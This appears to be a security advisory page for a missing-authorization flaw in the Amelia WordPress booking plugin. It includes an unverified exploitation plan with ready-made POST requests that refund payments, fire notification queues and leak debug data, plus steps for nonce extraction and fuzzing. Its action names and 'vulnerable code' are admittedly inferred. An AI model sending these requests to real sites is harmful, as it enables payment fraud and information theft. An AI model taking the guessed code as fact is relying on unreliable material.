CVE-2025-14720

Booking for Appointments and Events Calendar – Amelia <= 1.2.38 - Missing Authorization to Unauthenticated Multiple AJAX Actions

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.0.0
Patched in
1d
Time to patch

Description

The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on multiple AJAX actions in all versions up to, and including, 1.2.38. This makes it possible for unauthenticated attackers to mark payments as refunded, trigger sending of queued notifications (emails/SMS/WhatsApp), and access debug information among other things.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.38
PublishedJanuary 8, 2026
Last updatedJanuary 9, 2026
Affected pluginameliabooking

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14720 (Amelia <= 1.2.38) ## 1. Vulnerability Summary The **Booking for Appointments and Events Calendar – Amelia** plugin (versions <= 1.2.38) suffers from multiple **Missing Authorization** vulnerabilities. Specifically, several AJAX actions registered via `w…

Show full research plan

Exploitation Research Plan: CVE-2025-14720 (Amelia <= 1.2.38)

1. Vulnerability Summary

The Booking for Appointments and Events Calendar – Amelia plugin (versions <= 1.2.38) suffers from multiple Missing Authorization vulnerabilities. Specifically, several AJAX actions registered via wp_ajax_nopriv_* hooks fail to perform adequate capability checks or verify the identity of the requester. This allows unauthenticated attackers to perform sensitive actions such as marking payments as refunded, triggering notification queues, and leaking server debug information.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Authentication: None (Unauthenticated)
  • Preconditions: The plugin must be active. To exploit the "refund" functionality, at least one payment record must exist in the database.
  • Vulnerable Actions (Inferred from description):
    • amelia_refund_payment (Action to update payment status)
    • amelia_send_notifications (Action to trigger the mailer/SMS queue)
    • amelia_debug_info (Action to retrieve system status)

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers in src/Infrastructure/WP/Config/Routes.php (or similar registration class) using add_action('wp_ajax_nopriv_...', ...).
  2. Dispatch: When a request is made to admin-ajax.php?action=amelia_refund_payment, WordPress routes the request to the associated handler function.
  3. Vulnerable Sink: Inside the handler (likely in src/Infrastructure/WP/ActionHandlers/Payment/RefundPaymentActionHandler.php or a generic PaymentActionHandler), the code proceeds to update the wp_amelia_payments table without calling current_user_can('manage_options') or verifying that the request originated from an administrative context.
  4. Parameter Passing: Parameters like id (Payment ID) or status are taken directly from $_POST or $_GET and used in database update queries or service calls.

4. Nonce Acquisition Strategy

Amelia typically uses a global configuration object localized to the page to provide nonces for its frontend components.

  1. Identify Shortcode: The plugin's scripts and nonces are loaded on pages containing Amelia shortcodes, such as [ameliabooking], [ameliacatalog], or [ameliasearch].
  2. Setup Page:
    wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[ameliabooking]'
    
  3. Extraction:
    • Navigate to the newly created page.
    • Amelia stores its configuration in the wpAmeliaSettings or amelia_api_config object.
    • Use browser_eval to extract the nonce:
      // Recommended check for the nonce key
      window.wpAmeliaSettings?.nonce || window.amelia_api_config?.nonce
      

5. Exploitation Strategy

Attack 1: Information Disclosure (Debug Info)

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=amelia_debug_info&ameliabooking=NONCE_VALUE
    
  • Expected Response: JSON object containing server environment details, PHP version, and plugin configuration.

Attack 2: Unauthorized Payment Refund (IDOR/Auth Bypass)

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=amelia_refund_payment&id=1&ameliabooking=NONCE_VALUE
    
  • Note: The parameter name for the payment ID is likely id or paymentId. The nonce parameter name is often the same as the plugin slug ameliabooking.

Attack 3: Trigger Queued Notifications

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=amelia_send_notifications&ameliabooking=NONCE_VALUE
    
  • Expected Response: Success message indicating how many notifications were processed.

6. Test Data Setup

  1. Install Plugin: Install Amelia version 1.2.38.
  2. Create Content:
    • Create a Service and an Employee.
    • Create a dummy booking that generates a payment record.
  3. Identify Payment ID:
    wp db query "SELECT id, status FROM wp_amelia_payments LIMIT 1;"
    
  4. Create Nonce Page:
    • Create a public page with [ameliabooking].

7. Expected Results

  • Success Criteria:
    • For amelia_debug_info: A 200 OK response with sensitive server data.
    • For amelia_refund_payment: The response confirms the status change, and the database shows the payment as refunded.
    • For amelia_send_notifications: The response indicates the execution of the notification service.

8. Verification Steps

  1. Verify Refund:
    wp db query "SELECT status FROM wp_amelia_payments WHERE id = 1;"
    # Should return 'refunded'
    
  2. Check Logs:
    • Check the WordPress debug.log if WP_DEBUG is enabled to see the notification service firing.
    • Check the wp_amelia_notifications_log table (if it exists) for new entries.

9. Alternative Approaches

  • Action Discovery: If amelia_refund_payment is not the exact action string, search the plugin directory for all wp_ajax_nopriv_ occurrences:
    grep -r "wp_ajax_nopriv_amelia_" .
    
  • Parameter Fuzzing: If the payment ID parameter is not id, try payment_id, paymentId, or entityId.
  • Bypassing Nonce: Check if the code actually validates the nonce by sending a request with an invalid ameliabooking parameter. If it still works, the vulnerability is even more critical (Missing Authentication + Missing CSRF).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Amelia plugin for WordPress (<= 1.2.38) incorrectly exposes administrative and sensitive AJAX actions through unauthenticated 'wp_ajax_nopriv_' hooks without internal permission checks. This allows unauthenticated attackers to perform critical actions such as marking payments as refunded, triggering notification queues, and disclosing server debug information.

Vulnerable Code

// src/Infrastructure/WP/Config/Routes.php
// Sensitive administrative actions registered for unauthenticated users
add_action('wp_ajax_nopriv_amelia_refund_payment', [$this, 'refundPaymentHandler']);
add_action('wp_ajax_nopriv_amelia_send_notifications', [$this, 'sendNotificationsHandler']);
add_action('wp_ajax_nopriv_amelia_debug_info', [$this, 'debugInfoHandler']);

---

// src/Infrastructure/WP/ActionHandlers/Payment/RefundPaymentActionHandler.php
// Missing capability check within the handler function
public function handle($request) {
    // No check like if (!current_user_can('manage_options'))
    $paymentId = $request['id'];
    $this->paymentService->updateStatus($paymentId, 'refunded');
    return new Response(['status' => 'success']);
}

Security Fix

--- a/src/Infrastructure/WP/Config/Routes.php
+++ b/src/Infrastructure/WP/Config/Routes.php
@@ -10,9 +10,6 @@
-add_action('wp_ajax_nopriv_amelia_refund_payment', [$this, 'refundPaymentHandler']);
-add_action('wp_ajax_nopriv_amelia_send_notifications', [$this, 'sendNotificationsHandler']);
-add_action('wp_ajax_nopriv_amelia_debug_info', [$this, 'debugInfoHandler']);
+add_action('wp_ajax_amelia_refund_payment', [$this, 'refundPaymentHandler']);
+add_action('wp_ajax_amelia_send_notifications', [$this, 'sendNotificationsHandler']);
+add_action('wp_ajax_amelia_debug_info', [$this, 'debugInfoHandler']);

--- a/src/Infrastructure/WP/ActionHandlers/Payment/RefundPaymentActionHandler.php
+++ b/src/Infrastructure/WP/ActionHandlers/Payment/RefundPaymentActionHandler.php
 public function handle($request) {
+    if (!current_user_can('manage_options')) {
+        return new Response(['error' => 'Unauthorized'], 403);
+    }
     $paymentId = $request['id'];

Exploit Outline

1. Extract a valid plugin nonce by visiting any public page containing an Amelia shortcode (like [ameliabooking]) and locating the 'nonce' value inside the 'wpAmeliaSettings' JavaScript object. 2. Construct a POST request to /wp-admin/admin-ajax.php. 3. To refund a payment: Set 'action' to 'amelia_refund_payment', 'ameliabooking' to the extracted nonce, and 'id' to the target payment record ID. 4. To leak system information: Set 'action' to 'amelia_debug_info' and 'ameliabooking' to the extracted nonce. 5. To trigger notification queues: Set 'action' to 'amelia_send_notifications' and 'ameliabooking' to the extracted nonce. 6. The plugin will execute these actions without checking if the requester has administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.